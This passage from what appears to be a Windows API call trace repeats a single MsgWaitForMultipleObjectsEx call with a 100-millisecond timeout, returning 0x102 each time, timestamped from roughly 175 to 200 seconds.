dwFlags=0x4) returned 0x102 [0175.822] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0176.821] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0176.945] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.070] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.195] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.320] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.445] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.569] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.819] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.944] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.069] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.194] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.318] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.443] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.568] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.818] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.942] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.067] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.192] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.317] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.444] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.691] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.816] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.941] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.065] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.191] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.315] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.440] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.565] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.830] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.955] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.205] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.329] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.454] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.579] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.828] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.953] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.203] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.333] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.492] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.608] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.733] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.858] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.001] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.123] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.248] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.497] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.669] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.215] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.340] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.465] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.589] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.714] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.839] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.964] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.089] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.213] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.338] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.463] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.588] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.713] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.837] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.962] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.087] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.212] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.337] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.476] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.586] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.711] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.836] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.961] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.086] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.217] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.335] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.460] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.714] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.835] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.960] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.089] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.210] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.339] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.459] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.584] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.712] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.833] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.963] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.083] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.348] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.472] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.644] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.775] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.894] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.019] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.261] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.393] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.523] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.643] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.802] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.923] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.048] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.173] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.734] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.859] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.984] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.109] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.234] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.359] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.483] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.608] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.733] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.858] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.982] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.107] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.232] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.357] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.482] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.731] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.856] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.981] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.230] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.621] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.995] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.120] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.369] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.513] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.634] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.759] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.884] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.009] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.258] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.383] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.508] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.633] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.758] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.882] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.007] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.133] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.257] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.382] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.506] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.631] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.756] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.881] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.006] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.130] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.255] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.380] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.506] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.630] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.762] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.885] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.004] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.213] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.332] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.456] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.581] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.831] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.956] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.080] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.206] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.330] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.455] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.580] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, 